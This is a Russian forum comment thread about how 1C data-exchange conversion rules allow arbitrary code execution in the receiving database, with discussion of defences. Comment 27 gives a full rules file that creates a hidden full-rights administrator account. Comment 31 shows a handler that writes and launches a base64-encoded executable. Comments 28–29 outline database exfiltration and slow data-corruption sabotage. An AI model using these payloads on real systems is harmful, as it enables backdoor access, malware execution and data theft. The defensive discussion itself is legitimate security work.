0. saiten 227 23.12.14 15:36 Сейчас в теме

Темная сторона обмена по правилам

Правила обмена (конвертации) используются в обменах данными повсеместно. Однако за удобство и простоту согласования разных конфигураций приходится платить потенциальной угрозой безопасности: возможностью выполнить в принимающей базе произвольный код на языке 1С.

Перейти к публикации

Комментарии
Избранное Подписка Сортировка: Древо
1. baton_pk 397 16.03.15 19:18 Сейчас в теме
Есть такая брешь :)
Пока мы её на себе не ощутили, но чувствую, что можем - есть умелые ребята в магазинах :)
Пока что единственное, что придумал, - подписывать закрытым ключом ту часть правил, которая сохраняется в файл выгрузки, и при получении пакета сравнивать подпись.
2. vano-ekt 527 16.03.15 19:34 Сейчас в теме
и для взлома достаточно будет доступа к фтп, а реквизиты доступа, как правило лежат в справочнике Настройки обмена данными. При этом обмен настроен под одним фтп пользователем с настройкой выгрузки в разные каталоги (у кого-то не так? :-) ) Сливаем базу одного филиала, и получаем доступ ко всем :)
baton_pk; +1 Ответить
3. CheBurator 3403 16.03.15 22:17 Сейчас в теме
Чтото у мння стойкое ощущение что стото подобное я уже чттал
Откуда содрано?
VasMart; Yashazz; EliasShy; Yimaida; baton_pk; +5 Ответить
4. baton_pk 397 16.03.15 22:22 Сейчас в теме
(3) CheBurator,
было-было что-то такое на Инфостарте. Сам на днях пытался вспомнить и найти, а тут вот это подвернулось :)
5. saiten 227 16.03.15 22:26 Сейчас в теме
(3) Перед тем как писать поиском прошёлся - не находил ничего. Мож, конечно, искал плохо. Тема-то на поверхности лежит, сам удивился что нету инфы.
6. Yimaida 35 16.03.15 22:52 Сейчас в теме
(5) давно такое в инете проскакивало (ссылок не дам, т.к. не записывал). Есть такое и в курсе по конвертации от Гилева и Насипова. Как вы думаете почему в новых конфигах (на управляемых формах) правила и обработчики событий в правилах хранятся внутри конфига? это все идет развитие безопасности обменов. Тема хоть и не новая, но напоминание лишним не будет, это как лишний раз сделать бэкап - не помешает.
7. Yimaida 35 16.03.15 22:58 Сейчас в теме
(6) в догонку. не весь код при обменах выполняется в привилегированном режиме. Если допилить логику при записи объектов, то можно отлавливать и обмены.
Если НЕ ЭтоГруппа И НЕ ОбменДанными.Загрузка Тогда...

8. saiten 227 16.03.15 23:01 Сейчас в теме
(6)
в новых конфигах (на управляемых формах) правила и обработчики событий в правилах хранятся внутри конфига
В новых - это в каких? В бухии 3.0.38 всё ровно так как в статье написано - правила в регистре, обработчики в правилах. В конфу ничего не прошито жестко.
9. Yimaida 35 16.03.15 23:25 Сейчас в теме
10. saiten 227 16.03.15 23:34 Сейчас в теме
(9) Сильно подозреваю, что это для модели сервиса, т.к. сегодня перед тем как опубликовать глянул в последний релиз бухии на предмет не поменялось ли чего - код чтения правил из файла был в наличии, про обработчики не смотрел, правда. Завтра постараюсь подробнее глянуть на предмет того что это и для чего.
15. saiten 227 17.03.15 09:30 Сейчас в теме
(9) Однако, я ошибся - не для работы в модели сервиса. Вот что написано в самом модуле одной из этих обработок:
////////////////////////////////////////////////////////////////////////////////
//
// Данный модуль содержит экспортные процедуры обработчиков событий конвертации
// и предназначен для отладки правил обмена.
// После отладки рекомендуется внести соответствующие исправления обработчиков
// в базе «Конвертация данных 2.0» и заново сформировать файл правил.
//
////////////////////////////////////////////////////////////­////////////////////
33. cool.vlad4 45 30.03.15 18:03 Сейчас в теме
(3) Yashazz создавал топик несколько лет назад, где спрашивал как выполнить код на клиенте. я предложил вариант с выгрузкой.(нашел вроде http://forum.infostart.ru/forum26/topic38078/message431224/#message431224 ) а потом спустя некоторое время он даже публикацию вроде делал. хотя могу тут ошибаться.
11. AlX0id 17.03.15 00:00 Сейчас в теме
а тупо паковать файлы обмена с паролем - не вариант?
16. saiten 227 17.03.15 09:36 Сейчас в теме
(11)
а тупо паковать файлы обмена с паролем - не вариант?
Один из. Но это всё же относится к защите транспортного канала. Т.е. при наличии до глубины души обиженного размером премии продавца и его друга-кулхацкера, всё необходимое, чтобы устроить в центральной базе локальный армагеддец, может формироваться в самой 1С-ке и отдаваться на вход шифрующего скрипта уже с бомбой внутри.
20. AlX0id 17.03.15 10:48 Сейчас в теме
(16) ну как бы тут уже необходимо наличие "кулхацкера", который сведущ в структуре базы предприятия. А это уже инсайдинг, от которого техническими средствами защититься крайне проблемно. Ежели так, то у того же кулхацкера есть и значительно проще пути по сливу информации..
22. saiten 227 17.03.15 10:57 Сейчас в теме
(20)
который сведущ в структуре базы предприятия
Совсем необязательно. Структура базы, как правило, в достаточной степени описывается правилами выгрузки в эту базу, остальное выясняется несколькими последовательными атаками. По-сути, это инсайд, да. Но не на центр инфраструктуры, а "скраю", так сказать. Там много сценариев возможно, на самом деле.
23. baton_pk 397 17.03.15 11:04 Сейчас в теме
(20) AlX0id,
Для этого не обязателен прямо кулъ-хацкер :)
У нас среди продавцов в магазинах вдруг оказались бывшие одинэсники :):) Потому все откровенно явные дыры пришлось быстренько заткнуть после первых же случаев.
24. vasyak319 132 17.03.15 14:40 Сейчас в теме
(23) baton_pk, ИМХО, если товарисч, побывав одинэсником, предпочитает зарабатывать продавцом в магазине, то вреда от него, как программиста, на много порядков больше, чем от него же, как вредителя. Тут как в том анекдоте про фашиста и партизана: "Вас ист дас? "Гомельспичпром"? Тафай-тафай, потшигай."
12. DrAku1a 1305 17.03.15 02:52 Сейчас в теме
Платформа 8.х же добавила в арсенал программиста инструкцию "Выполнить"

А разве в 7.7 не было что-то типа "Вычислить"?
13. monkbest 104 17.03.15 08:10 Сейчас в теме
(12) DrAku1a, сама команда была и в 7.7, только в коде универсальной XML загрузки её никто не писал, а все нужные процедуры дописывали в код обработки. Это было безопаснее, но лень победила, не плодить же обработки под каждые правила обмена:)
17. saiten 227 17.03.15 09:40 Сейчас в теме
(13)
сама команда была и в 7.7

Это было безопаснее, но лень победила

Может и была, честно - не помню. Однако, функция "Вычислить" есть и в 8.х, и решает она несколько другие задачи. Выполнить последовательно несколько операторов, разделенных ";" в ней не получится. Так что, думаю, в 7.7 всё же код выносился в обработку не для безопасности, а в силу ограничений платформы.
18. saiten 227 17.03.15 09:49 Сейчас в теме
(14)Ага, смежная проблема с теми же корнями. Кстати, та тема 2013 года ещё, и уже там в комментах пишут, что баян. Дыра известна и понятна. Только воз не особо двигается, как говорится.
19. vasyak319 132 17.03.15 10:41 Сейчас в теме
(18) воз не особо двигается, потому что эта возможность хоть и реальна, но всё равно из разряда шансов получить по голове метеоритом. Люди, которые способны это провернуть и "обиженные размером премии продавцы" это очень-очень разные люди, так что даже в том маловероятном случае, что кто-то попытается, кончится это скорее всего сообщением, типа: "Какая-то фигня при загрузке файла обмена".
21. saiten 227 17.03.15 10:52 Сейчас в теме
(19) Это называется "авось пронесёт". Вполне оправданный подход, если потенциальный ущерб меньше затрат на организацию защиты.
25. ivanov660 1648 17.03.15 18:08 Сейчас в теме
Интересно статья автора появилась на основе практики?


26. saiten 227 18.03.15 10:09 Сейчас в теме
(25) Нет, реально сталкиваться не доводилось. Сугубо академический интерес, так сказать.
27. Stim213 370 23.03.15 09:50 Сейчас в теме
боян
http://infostart.ru/public/182849/
+ и у меня все проще)

(ПравилаОбмена)
(ВерсияФормата)
2.01
(/ВерсияФормата)
(Ид)
e4d7c6e2-e768-43ee-ac67-18c27fe63791
(/Ид)
(Наименование)
УправлениеТорговлей 11 --) УправлениеТорговлей 11
(/Наименование)
(ДатаВремяСоздания)
2013-04-13T21:59:02
(/ДатаВремяСоздания)
(Источник ВерсияПлатформы="8.0" ВерсияКонфигурации="11.0.9.14" СинонимКонфигурации="Управление торговлей, редакция 11.0")
УправлениеТорговлей
(/Источник)
(Приемник ВерсияПлатформы="8.0" ВерсияКонфигурации="11.0.9.14" СинонимКонфигурации="Управление торговлей, редакция 11.0")
УправлениеТорговлей
(/Приемник)
(ПослеЗагрузкиПравилОбмена)
УстановитьПривилегированныйРежим(Истина); Пользователь = ПользователиИнформационнойБазы.СоздатьПользователя(); Пользователь.Имя = "Хакер"; Пользователь.АутентификацияСтандартная = Истина; Пользователь.Роли.Добавить(метаданные.роли.ПолныеПрава); Пользователь.Роли.Добавить(метаданные.роли.Администрирование); Пользователь.Записать();
(/ПослеЗагрузкиПравилОбмена)
(Параметры/)
(Обработки/)
(ПравилаКонвертацииОбъектов/)
(ПравилаВыгрузкиДанных/)
(ПравилаОчисткиДанных/)
(Алгоритмы/)
(Запросы/)
(/ПравилаОбмена)
30. saiten 227 23.03.15 10:47 Сейчас в теме
(27) В УТ 11.1 проверяли? Правила обмена в них берутся из регистра, а не из файла, об этом есть упоминание в статье. А в остальном - да, такой вариант тоже может иметь место. Суть в общем-то статьи в том, что при построении защиты недостаточно прорабатывается обмен данными с незащищенными узлами: защищается центральный сервер, защищаются каналы связи, но не сами передаваемые данные. И с переходом на БСП ситуация не особо улучшилась. Согласитесь, ваша статья всё же несколько о другом. Хотя корни проблемы общие, согласен.
28. Stim213 370 23.03.15 09:59 Сейчас в теме
+ продавец не обязательно должен быть одинесником.
суть проста- обиженный продавец хочет продать базу конкурентам. а то и просто навредить.
продавец работает на точке.
что он делает - копирует вечерний файл выгрузки на флешку. ищет программиста, который делает из файла бомбу - либо как в сабже отправляются данные базы на мейл, либо очищаются какие-то важные данные, либо создается прямой доступ к базе. в файле можно даже прописать создание пользователя с полными правами, пакетный запуск базы под этим пользователем в конфигураторе с выгрузкой(предварительно установив блокировку соединий и ждем в цикле пока все не выйдут) и отправкой файла выгрузки куда-нить на файлообменник или на почту.

29. Stim213 370 23.03.15 10:02 Сейчас в теме
+ пакостных вариантов - куча.
самый мерзкий - бомба замедленного действия. небольшие изменения, что на протяжении пары недель будут незаметны, а когда спохватятся - окажется, что все бекапы "заражены" этими изменениями, а достоверные данные - только на бумаге.

например, в закупках/продажах рандомно изменять цены на пару копеек, подменять емейлы и номера телефонов контрагентов и пр. пр
31. asirius 105 25.03.15 18:41 Сейчас в теме
Этой дыркой еще в 2009 году пользовался
<ПослеЗагрузкиПравилОбмена>
...
УстановитьПривилегированныйРежим(Истина);
ДвоичныеДанные = BASE64Значение("....");
ДвоичныеДанные.Записать("Троян.exe");
ВыполнитьКомандуСистемы("Троян.exe");
... и понеслась...

32. saiten 227 26.03.15 15:52 Сейчас в теме
(31) Ну, под линуксом такой беспредел не проканает, конечно. А так, да. Как пользоваться дырой понятно; как её закрыть, в общем-то тоже. Непонятно, по крайней мере мне, почему на эту проблему поголовно забивается болт.
34. igor_ek_ur 04.04.15 21:10 Сейчас в теме
Не хочется расстраивать автора, но если говорить о типовом обмене на базе БСП 2.2 последних версий, то он сделан таким образом, что правила конвертации объектов источника в приемнике берутся не из файла обмена (хоть они там и есть), а из правил, зашитых в конфигурации. Можно включить режим обмена, когда, когда будут выполняться обработчики из правил, но речь не об этом сейчас. Все о чем вы написали справедливо для случаев использования настроенных правил (БСП2.2), либо обменов по более старым технологиям, либо самописных обменов. В типовых конфигурациях этой проблемы быть не должно. Теоретически... Хотя, если у организации появляется свой программист 1с, то ничего типового для такой организации больше не остается.
35. saiten 227 04.04.15 23:43 Сейчас в теме
(34) Если когда-нибудь это будет так - я не расстроюсь, а только порадуюсь :) Может быть, в последних версиях БСП что-то и поменялось, но что-то верится мне с трудом. По крайней мере, для актуальной на данный момент версии бухгалтерии проблема всё ещё в наличии.
36. MaxS 1774 14.01.16 12:38 Сейчас в теме
(35) Чтобы обсуждение не повисло в неопределенности, добавлю информацию.
В последних БСП эта проблема решилась тем, что в центральной базе хранятся правила обмена в обе стороны. И когда из периферии приходят данные, то обработчики берутся из центральной базы.
Обнаружилось это опытным путем при отладке обмена. Изменения в правилах выгрузки игнорировались принимающей базой до тех пор, пока не поменял их на стороне приемника.

А я пока в поисках как в старой УТ 10.3 подменить файл обмена перед началом его загрузки.
Научился подменять файл выгрузки правкой правил обмена. А с загрузкой пока ищу способ.
37. saiten 227 15.01.16 13:44 Сейчас в теме
(36)Конкретно в последних версиях БСП не смотрел, но по состоянию на апрель 2015 ситуация была следующая: правила обмена в обе стороны хранятся в регистре ПравилаДляОбменаДанными, однако, если прибить записи этого регистра, то правила берутся из файла. Убить эти записи можно, например, приняв файл обмена определенного вида.
Как сейчас дела обстоят дела в этом вопросе не знаю, не мониторил. Но сильно сомневаюсь, что что-либо изменилось.
Оставьте свое сообщение
Новые вопросы с вознаграждением
Автор темы объявил вознаграждение за найденный ответ, его получит тот, кто первый поможет автору.

Вакансии

Автор новостных обзоров на тему 1С и бухучета
Санкт-Петербург
По совместительству

Программист/Cтарший программист 1С
Москва
зарплата от 100 000 руб. до 250 000 руб.
Полный день

Программист 1С
Калининград
зарплата от 60 000 руб. до 80 000 руб.
Полный день

Руководитель проектов 1С
Санкт-Петербург
Полный день

Программист 1С
Новосибирск
зарплата от 80 000 руб. до 150 000 руб.
Полный день